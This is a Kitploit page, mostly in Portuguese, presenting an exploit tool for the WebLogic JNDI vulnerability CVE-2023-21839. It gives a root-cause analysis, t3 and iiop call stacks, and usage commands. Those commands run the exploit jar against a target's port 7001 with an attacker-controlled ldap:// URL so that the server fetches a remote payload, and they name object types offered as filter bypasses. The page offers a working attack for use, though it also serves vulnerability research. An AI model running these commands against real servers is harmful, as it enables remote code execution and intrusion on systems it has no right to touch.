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CVE-2023-21839 — CVE-2023-21839工具 | Kitploit
Ferramentas/GitHubGitHub/firebasky/cve-2023-21839
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubfirebasky/cve-2023-21839

CVE-2023-21839

CVE-2023-21839工具

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264há 3 anosRevisado pelo Kitploit

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CVE-2023-21839

Análise

Esta vulnerabilidade ocorre porque, após vincular um objeto por meio do protocolo t3 ou iiop, ao chamar os métodos lookup ou list, o método getReferent do objeto vinculado é acionado.

image-20230120143023196

Pilha de chamadas do protocolo t3

root@kitploit:~
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
invoke:-1, RootNamingNode_WLSkel (weblogic.jndi.internal)
invoke:667, BasicServerRef (weblogic.rmi.internal)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

Pilha de chamadas do protocolo iiop

root@kitploit:~
getObjectInstance:96, WLNamingManager (weblogic.jndi.internal)
resolveObject:377, ServerNamingNode (weblogic.jndi.internal)
resolveObject:856, BasicNamingNode (weblogic.jndi.internal)
lookup:209, BasicNamingNode (weblogic.jndi.internal)
lookup:254, WLEventContextImpl (weblogic.jndi.internal)
lookup:412, WLContextImpl (weblogic.jndi.internal)
lookup:411, InitialContext (javax.naming)
resolveObject:454, NamingContextImpl (weblogic.corba.cos.naming)
resolve_any:360, NamingContextImpl (weblogic.corba.cos.naming)
_invoke:108, _NamingContextAnyImplBase (weblogic.corba.cos.naming)
invoke:249, CorbaServerRef (weblogic.corba.idl)
invoke:230, ClusterableServerRef (weblogic.rmi.cluster)
run:522, BasicServerRef$1 (weblogic.rmi.internal)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
handleRequest:518, BasicServerRef (weblogic.rmi.internal)
run:118, WLSExecuteRequest (weblogic.rmi.internal.wls)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

Após uma exploração simples, descobriu-se que outros objetos também podem acionar a vulnerabilidade.

Ferramenta

root@kitploit:~
java -jar CVE-2023-21839.jar obj 127.0.0.1 7001 ldap://vps:port/xxx

A opção obj suporta 4 tipos maybe can bypass! foreignOpaqueRef, foreignOpaqueRef2, AggtableOpaqueRef, linkRef

Exemplo:

root@kitploit:~
java -jar CVE-2023-21839.jar foreignOpaqueRef 127.0.0.1 7001 ldap://vps:port/xxx

Resolvido o problema de rede iiop net

https://firebasky.github.io/2023/01/18/Solve-the-problem-of-iiop-using-net-network-in-webLogic/

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